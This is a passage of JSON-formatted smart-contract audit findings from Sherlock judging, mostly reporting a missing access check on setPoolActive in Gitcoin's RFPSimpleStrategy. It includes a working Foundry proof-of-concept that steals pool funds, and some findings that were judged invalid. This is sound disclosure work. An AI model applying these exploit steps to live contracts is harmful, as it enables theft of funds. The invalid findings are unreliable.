front-running allocate() with a bid-change. That is a separate issue. It is less guaranteed to succeed, but a fix to this issue will not fix that one, nor vice versa.\n\n## Vulnerability Detail\n\n1. Alice creates a pool with an RFPSimpleStrategy. The pool is fully funded with a max bid of 100000 USDC, and a single milestone of 100%.\n2. Eve calls allo.registerRecipient to submit a bid of 10000 USDC. The second highest bid is for 15000 USDC.\n3. Alice calls allo.allocate and awards the RFP to Bob.\n4. Bob completes the work.\n5. Alice goes to call allo.distribute to grant Bob his 10000 USDC. HOWEVER...\n6. ....Bob frontruns Allice's call with the following:\n\n(this example is for if `useRegistryAnchor` is false)\n\n```solidity\npool.setPoolActive(true);\nallo.registerRecipient(poolId, abi.encode(bobsAddress, address(0), 100000 USDC, metadata))\npool.setPoolActive(false);\n```\n\n7. The result is that Alice intended to pay $10k, but has instead paid $100k. \n\nThis also works in less dramatic fashion if there are multiple milestones. For instance, the same would hold if there were two milestones of 50% each, the max bid and pool funding were both 100k USDC, and Bob also won on a 10k bid. Then Bob would only walk away with $50k before showing his dishonest intentions, but he'd also only need to hit the first milestone.\n\n## Impact\n\nWhenever the funding of a pool controlled by the RFPSimpleStrategy exceeds its max bid, people can steal funds by bidding small but taking money as if they bidded max.\n\n## Code Snippet\n\nSee lack of access control on setPoolActive: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\nAlso see how nothing in RFPSimpleStrategy._distribute will revert if the winning bid has been tampered with, even though calling _registerRecipient reverts recipient.recipientStatus to PENDING.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd access control to setPoolActive","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/128.md"}} +{"title":"setPoolActive in RFPSimpleStartegy is callable by non pool managers","severity":"major","body":"Dapper Lead Shell\n\nmedium\n\n# setPoolActive in RFPSimpleStartegy is callable by non pool managers\n\nThe function setPoolActive in RFPSimpleStartegy.sol is missing the modifier \"onlyPoolManager\". The internal function _setPoolActive which is called by setPoolActive also lacks verification.\nThis is clearly unintentional since the documentation states that msg.sender must be a pool manager.\n\n## Vulnerability Detail\n\nAn unauthorized contract can call the function setPoolActive in RFPSimpleStartegy.sol, and set the poolActive flag. \n\n## Impact\n\nIn general, the vulnerability allows an attacker to change the state of the pool without the manager's permission and without them knowing. This could result in a denial of service of the pool.\n\n### Example\n\nAn attacker could activate the pool in the waiting state between the allocate and distribute functions by the pool manager. This would make the manager unware to the current pool state and they wouldn't be able to distribute the money to the recipient.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\nCorrect implementation example: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/_poc/direct-grants-simple/DirectGrantsSimpleStrategy.sol#L364\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the onlyPoolManager modifier to setPoolActive in RFPSimpleStartegy.sol.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/117.md"}} +{"title":"RFP Recipient can steal funds by toggling the pool activity state","severity":"major","body":"Clumsy Pecan Jay\n\nhigh\n\n# RFP Recipient can steal funds by toggling the pool activity state\n\nThe `setPoolActive` should be callable by the pool manager however it is missing an `onlyPoolManager` modifier.\nThis allows a malicious recipient to perform a set of steps to steal funds.\n\n## Vulnerability Detail\n\n`setPoolActive` is unprotected:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\nThe pool activity state determains what functions are callable by the modifiers `onlyInactivePool` and `onlyActivePool`.\n\nFor example - only in an active pool recipients can register and re-register. This is to prevent any changes after an allocation and change the state of the phase of the contract.\n\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n```\n\nSince anyone can change the activity state of the pool, an accepted recipient can front-run the `distribute` function - change the state, re-register with a higher bid and change again the activity state to false. \nThis will steal unintended funds from the pool.\n\nConsider the following scenario:\n1. Manager creates an RFP pool with `100 ETH`.\n2. Manager sets `two` milestones with `70%` payment for first milestone and `30%` for second.\n3. Multiple recipients apply but `Alice` applies with a cheap `proposalBid` of only `20 ETH`.\n4. Since `Alice` proposal is cheap, the manager calls `allocate` to chose `Alice`.\n6. `Alice` completes the first milestone and submits it and the manager accepts the submission.\n7. The manager calls `distribute` to move to the next milestone and pay `Alice` rewards for the first milestone\n8. `Alice` front-runs the call to `distribute` and sets the pool state to true. re-registers updating her `proposalBid` to `100 ETH`. Sets the pool state to false.\n9. `distribute` is executed and `70 ETH` is sent instead of `14 ETH`.\n\n## Impact\n\nTheft of more then intended and potentially all pool funds.\n\n## Code Snippet\n\nAdd the following test to `RFPSimpleStrategy.t.sol`\n```solidity\n function test_stealPoolFundsDistribute() external {\n uint256 poolTotalBeforeFee = 100 ether;\n uint256 percentFee = (poolTotalBeforeFee * 1e16) / 1e18;\n uint256 poolTotal = poolTotalBeforeFee - percentFee;\n\n // Fund pool with ~100 ether\n vm.deal(pool_admin(), 100 ether);\n vm.prank(pool_admin());\n allo().fundPool{value: poolTotalBeforeFee}(poolId, poolTotalBeforeFee);\n\n // Increase max bid to ~100 ether\n vm.prank(pool_admin());\n strategy.increaseMaxBid(poolTotal);\n\n // Register\n address sender = recipient();\n uint256 recipientFakeProposalBid = 20 ether;\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n bytes memory data = abi.encode(recipientAddress(), false, recipientFakeProposalBid, metadata);\n vm.prank(address(allo()));\n address recipientIdReceived = strategy.registerRecipient(data, sender);\n\n // Set Milestones\n __setMilestones();\n\n // Allocate\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recipientIdReceived), address(pool_admin()));\n\n // Submit milestone\n vm.prank(recipient());\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n // Front-run distribute, activate pool, register, deactive pool\n vm.prank(recipient());\n strategy.setPoolActive(true);\n\n data = abi.encode(recipientAddress(), false, poolTotal, metadata);\n vm.prank(address(allo()));\n recipientIdReceived = strategy.registerRecipient(data, sender);\n \n vm.prank(recipient());\n strategy.setPoolActive(false);\n\n // Distribute\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n\n // Alice should receive 70% of the poolTotal (~70 eth)\n assertEq(recipientAddress().balance, (poolTotal * 7e17) / 1e18);\n }\n```\n\nTo execute the test run the command:\n```solidity\nforge test --match-test \"test_stealPoolFundsDistribute\" -v\n```\n\nExpected output:\n```solidity\nRunning 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n[PASS] test_stealPoolFundsDistribute() (gas: 618183)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.41ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a `onlyPoolManager(msg.sender)` modifier to `setPoolActive`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/116.md"}} +{"title":"Missing access control on setPoolActive","severity":"major","body":"Mysterious Lava Lynx\n\nmedium\n\n# Missing access control on setPoolActive\nMissing access control on setPoolActive in `RFPSimpleStrategy`, the `setPoolActive` function is used to either pause or unpause the pool for a specific strategy which should only be allowed by the manager of the pool as stated in the comments:\n\n```solidity\n/// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Vulnerability Detail\n\nMissing access control \n\n## Impact\n\nAnyone can unpause or pause a pool of their choice\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C5-L222C6\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSet the onlyPoolManager modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/105.md"}} +{"title":"Malicious actor can DoS any pool using RFPSimpleStrategy or RFPCommitteeStrategy","severity":"major","body":"Urban Strawberry Monkey\n\nmedium\n\n# Malicious actor can DoS any pool using RFPSimpleStrategy or RFPCommitteeStrategy\nA vulnerability in the code allows malicious actor to DoS any pool that uses either `RFPSimpleStrategy` or `RFPCommitteeStrategy` and disrupt the following operations:\n\n- Allocate & distribute funds\n- Register recipients\n- Withdrawals\n\n## Vulnerability Detail\nThe following functions in `RFPSimpleStrategy` use modifiers that rely on `poolActive` being in a given state in order to allow their execution. Respectively:\n\n| Function | Modifier |\n|---|---|\n| `_allocate()` | `onlyActivePool` |\n| `_registerRecipient()` | `onlyActivePool` |\n| `_distribute()` | `onlyInactivePool` |\n| `withdraw()` | `onlyInactivePool` |\n\nIt seems though that the `setPoolActive()` function lacks access control and allows any external user to change the state of `poolActive`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\nAs evident by the function documentation, this is a mistake since the documentation states that the function must only be available to pool managers.\n\nPools that use `RFPCommitteeStrategy` are impacted as well since it extends from `RFPSimpleStrategy`.\n\n## Impact\n\nThis vulnerability allows malicious actors to DoS and disrupt pools that use `RFPSimpleStrategy` or `RFPCommitteeStrategy`.\n\nAlthough this is not necessary, if the attack is performed via front-running or sandwiching, its impact would be even more severe and exacerbated. \n\n## Code Snippet\n\nMissing access control modifier:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd `onlyPoolManager(msg.sender)` modifier to the `setPoolActive` function:\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) { //@audit Change function declaration like that\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/095.md"}} +{"title":"Missing access control on the setPoolActive function","severity":"major","body":"Original Cinnabar Bull\n\nhigh\n\n# Missing access control on the setPoolActive function\nAccess control is missed on the `RFPSimpleStrategy.sol.setPoolActive` function and anyone can call this function.\n\n## Vulnerability Detail\nThe `setPoolActive` function from `RFPSimpleStrategy` contract is used in order to toggle the status between active and inactive.\n\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L276\n\n```solidity\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n\n```\nThe problem is that based on the comment from team, only `pool manager` should be able to call this function. But as you can see, there is no access control over this function and anyone can call it.\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217\n\n## Impact\nAnyone can call this function and toggle the status of the pool between active and inactive.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L276\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd access control over the `RFPSimpleStrategy.sol.setPoolActive` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/093.md"}} +{"title":"_allocate() lacks access control","severity":"major","body":"Massive Peanut Porcupine\n\nhigh\n\n# _allocate() lacks access control\n_allocate() lacks access control \n## Vulnerability Detail\nIn QVSimpleStrategy.sol, it is mentioned in the comments that Only the pool manager(s) can call this function.\nHowever, there is a lack of any checks.\n## Impact\nAnyone can call _allocate to allocate voting power to a specified recipient and execute _qv_allocate\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol#L107\n## Tool used\n\nManual Review\n\n## Recommendation\nadd onlyPoolManager(msg.sender) for _allocate()","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/091.md"}} +{"title":"Permanent DoS of allocations and distributions of RFPSimpleStrategy contract","severity":"major","body":"Suave Peanut Panda\n\nhigh\n\n# Permanent DoS of allocations and distributions of RFPSimpleStrategy contract\nFor `RFPSimpleStrategy` a pool has to be in active state in order to allocate funds and in inactive state in order to distribute them. This is achieved in the code by setting the `poolActive` flag to true upon initialization and to false when the recipient is selected for the allocation. However, there exists an unprotected function that can set the `poolActive` flag to any value. Anyone can permanently dos allocation and distribution by frontrunning calls to `_allocate` and `_distribute` functions and changing the value of `poolActive` flag so that calls to the former and latter would revert.\n## Vulnerability Detail\nSee summary.\n## Impact\nPermanent DoS of the strategy, possibly locked funds.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the `onlyPoolManager(msg.sender)` modifier to the `setPoolActive()` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/088.md"}} +{"title":"Unrestricted Access to setPoolActive Function","severity":"major","body":"Rapid Lead Cricket\n\nhigh\n\n# Unrestricted Access to setPoolActive Function\nThe `setPoolActive` function in the contract lacks `onlyPoolManager(msg.sender)` access controls.\n\n## Vulnerability Detail\nThe setPoolActive function in the code below allows any external caller to set the pool's active status:\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nAs you can see in the comments it should be restricted by `onlyPoolManager(msg.sender)` access control.\nThis function directly interacts with the _setPoolActive function from the BaseStrategy contract to change the active status of the pool.\n\n## Impact\nAnyone can (by front-running or simply) : \n\n1. Interrupt the allocation process by deactivating the pool at critical stages.\n2. Manipulate the voting strategy by continuously toggling the active status of the pool.\n3. Potentially block recipients from receiving their allocations by preventing the pool from being set inactive.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L220\n## Tool used\n\nManual Review\n\n## Recommendation\nHere is a revised version of the setPoolActive function with an onlyPoolManager modifier:\n```solidity\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) { \n _setPoolActive(_flag); \n emit PoolActive(_flag);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/063.md"}} +{"title":"Anyone can call RFPSimpleStrategy.setPoolActive","severity":"major","body":"Savory Boysenberry Cobra\n\nhigh\n\n# Anyone can call RFPSimpleStrategy.setPoolActive\nAnyone can call RFPSimpleStrategy.setPoolActive. This allows attacker to break normal work of contract.\n## Vulnerability Detail\n`RFPSimpleStrategy.setPoolActive` is important function. It can control when other function can be called. For example `withdraw` can be called only [when pool is inactive](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295C77-L295C94).\n\nBut `RFPSimpleStrategy.setPoolActive` [can be called by anyone](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222).\nThis will fully break contract logic as attacker will be able to change it any time.\n\nAnother usage of this will be when distribute for milestone will be called to frontrun it to set pool to active, then change recipient bid to bigger amount, then again set pool to inactive and receive bigger payment.\n## Impact\nContract will not work normally.\n## Code Snippet\nProvided above.\n## Tool used\n\nManual Review\n\n## Recommendation\nThis should be called by owner only.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/055.md"}} +{"title":"There is no restriction on access to setPoolActive","severity":"major","body":"Lucky Sand Tapir\n\nhigh\n\n# There is no restriction on access to setPoolActive\n\nAnyone can access setPoolActive and can toggle the status between active and inactive.\n\n## Vulnerability Detail\n\nregisterRecipient(_registerRecipient) and allocate( _allocate) depend on the correct status of the pool to run. \n\nIf the status of the pool is incorrect, the Recipient cannot be registered normally and a recipient cannot be allocated normally.\n\n\n## Impact\n\nThe strategy cannot run according to the normal process\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L257-L259\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L263-L265\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386-L412\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L182-L186\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L165-L175\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n'msg.sender' should be a pool manager.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/050.md"}} +{"title":"setPoolActive() lacks access control","severity":"major","body":"Massive Peanut Porcupine\n\nhigh\n\n# setPoolActive() lacks access control\nsetPoolActive() lacks access control\n## Vulnerability Detail\nIn RFPSimpleStrategy.sol, it is mentioned in the comments that 'msg.sender' must be a pool manager to close the pool.\nHowever, there is a lack of any checks.\n\n## Impact\nAnyone can call setPoolActive() and change the status without any restrictions.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n## Tool used\n\nManual Review\n\n## Recommendation\nadd onlyPoolManager(msg.sender)Ā  for setPoolActive()","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/047.md"}} +{"title":"Pool can be activated/deactivated by anyone","severity":"major","body":"Brief Silver Porcupine\n\nhigh\n\n# Pool can be activated/deactivated by anyone\nPools using **RFPSimpleStrategy** can be deactivated by anyone.\n\n## Vulnerability Detail\nThe **RFPSimpleStrategy.sol** has a [**setPoolActive**](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222) function which toggles between an active and inactive pool. The function does not have access control modifier, allowing anyone to call it.\n\n## Impact4\nAnyone can activate and deactivate the pool.\n\n## Code Snippet\n```jsx\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the **onlyPoolManager** modifier\n\n```jsx\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\nSIDE NOTE: Remove the emission of the **PoolActive** event, since it is already emitted in the [**_setPoolActive**](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L278) function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/029.md"}} +{"title":"Unauthorized Pool Activation/Deactivation Vulnerability in `setPoolActive` function","severity":"major","body":"Melted Silver Dachshund\n\nfalse\n\n# Unauthorized Pool Activation/Deactivation Vulnerability in `setPoolActive` function\nThe `setPoolActive` function in the `RFPSimpleStrategy.sol` contract lacks the `onlyPoolManager(msg.sender)` modifier. This oversight allows any external actor to activate or deactivate the pool, which could disrupt the protocol's operations and potentially lead to unintended consequences or loss of funds.\n\n## Vulnerability Detail\n[Direct link to the code in GitHub](https://github.com/code-423n4/2023-09-centrifuge/blob/512e7a71ebd9ae76384f837204216f26380c9f91/src/RFPSimpleStrategy.sol#L219)\n\n## Impact\n\n## Code Snippet\n\n```solidity\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag); //@audit - can be anyone\n emit PoolActive(_flag);\n}\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd the ```onlyPoolManager(msg.sender)``` modifier to the setPoolActive function to ensure only the pool manager can activate or deactivate the pool.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/025.md"}} +{"title":"Privileged administrator function lacks access control","severity":"major","body":"Energetic Seafoam Oyster\n\nmedium\n\n# Privileged administrator function lacks access control\nAccess Control issues are common in all programs, not just smart contracts. One usually accesses a contract's functionality through its public or external functions.\n\nAccess controls define the restrictions around privileges and roles of users in an application.\n\n## Vulnerability Detail\nThe consequences of neglecting access control can be disastrous. Without proper checks, unauthorized users can gain unrestricted access to sensitive functionalities, such as minting or burning tokens, altering critical contract parameters, or even transferring ownership. This unrestricted access can lead to unauthorized creation or destruction of tokens, theft of user funds, or manipulation of contract behavior.\n\nMissed Modifier Validations ā€” It is important to have access control validations on critical functions\n\nAccess control vulnerabilities have high exploitation potential. Malicious actors actively search for contracts with weak or absent access controls to exploit them for personal gain. Once a vulnerability is discovered, the attacker can execute unauthorized operations\n\nThe `setPoolActive()` function is external and no restrictions are applied on it\n\n\n## Impact\nMissing modifier on a function allows an attacker to use sensitive functionality in the contract. (Anyone can activate or inactive the pool) \n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol?plain=1#L219\n```solidity\n function setPoolActive(bool _flag) external {\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nImplementing proper access control mechanisms involves using modifiers, conditionals, or external role-based contracts to restrict function execution to authorized entities.\n\nAlways specify a modifier for functions.\n\nTo fix this issue, you should use the onlyowner modifier to restrict access to the function so that only the current owner can call it.\n\n```solidity\nmodifier onlyowner {\n require(msg.sender == owner);\n _;\n}\n```\n\n```solidity\n function setPoolActive(bool _flag) external onlyowner{\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/003.md"}} {"title":"PAccumulator6::accumulate() - struct PAccumulator6's storage variables not updated in accumulate() function.","severity":"info","body":"Fun Hazelnut Albatross\n\nmedium\n\n# PAccumulator6::accumulate() - struct PAccumulator6's storage variables not updated in accumulate() function.\n## Summary\n\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/root/contracts/pid/types/PAccumulator6.sol#L7-L11\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/root/contracts/pid/types/PAccumulator6.sol#L58-L59\n\nUnless my interpretation is incorrect, it appears that the accumulate() is not correctly updating state/storage variables for \nstruct PAccumulator6.\n\n```solidity\n/// @dev PAccumulator6 type\nstruct PAccumulator6 {\n Fixed6 _value;\n Fixed6 _skew;\n}\n```\n\nHere the function is updating memory instance of struct's _value & _skew values, and not the state/storage instance of struct's values:\n\n```solidity\n self._value = newValue;\n self._skew = skew;\n```\n\n\n## Vulnerability Detail\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-perennial-judging","repo":"https://github.com/sherlock-audit/2023-09-perennial-judging","url":"https://github.com/sherlock-audit/2023-09-perennial-judging/blob/main//invalid/058.md"}} {"title":"Return of Wrong Oracle version due to Error in validating Timestamp","severity":"info","body":"Elegant Heather Bee\n\nmedium\n\n# Return of Wrong Oracle version due to Error in validating Timestamp\n## Summary\nThe validation at [L73](https://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L73) of Oracle.sol contract shows that the loop on Oracle Timestamp is treated like it is in Descending Order instead of ascending order which will allow return of wrong oracle version due to Error in this validation\n## Vulnerability Detail\n```solidity\n function at(uint256 timestamp) public view returns (OracleVersion memory atVersion) {\n if (timestamp == 0) return atVersion;\n IOracleProvider provider = oracles[global.current].provider;\n for (uint256 i = global.current - 1; i > 0; i--) {\n>>>> if (timestamp > uint256(oracles[i].timestamp)) break;\n provider = oracles[i].provider;\n }\n return provider.at(timestamp);\n }\n```\nIn a simple simplified form : \nlet us assume \ntimestamp(t) = 5\noracles timestamp array(Ot) = [2,4,5,6,8,10]\nbased on the validation used in code base it will always be Ot[0} insatead of Ot[2]\n\n## Impact\nReturn of wrong oracle version which will affect proper functionality of code base\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L73\n```solidity\n function at(uint256 timestamp) public view returns (OracleVersion memory atVersion) {\n if (timestamp == 0) return atVersion;\n IOracleProvider provider = oracles[global.current].provider;\n for (uint256 i = global.current - 1; i > 0; i--) {\n>>>> if (timestamp > uint256(oracles[i].timestamp)) break;\n provider = oracles[i].provider;\n }\n return provider.at(timestamp);\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L44\n```solidity\n function request(address account) external onlyAuthorized {\n ...\n\n>>>> oracles[global.current].timestamp = uint96(currentTimestamp);\n _updateLatest(latestVersion);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/Oracle.sol#L89\n```solidity\n function _updateCurrent(IOracleProvider newProvider) private {\n ...\n if (global.current != 0) {\n OracleVersion memory latestVersion = oracles[global.current].provider.latest();\n if (latestVersion.timestamp > oracles[global.current].timestamp)\n >>>> oracles[global.current].timestamp = uint96(latestVersion.timestamp);\n }\n ...\n }\n```\nas seen above in the _updateCurrent(...) & request(...) functions above oracles[global.current].timestamp is updated in ascending order based on Timestamp since time moves in increasing progression\n## Tool used\nFoundry,\nManual Review\n\n## Recommendation\n```solidity\n function at(uint256 timestamp) public view returns (OracleVersion memory atVersion) {\n if (timestamp == 0) return atVersion;\n IOracleProvider provider = oracles[global.current].provider;\n for (uint256 i = global.current - 1; i > 0; 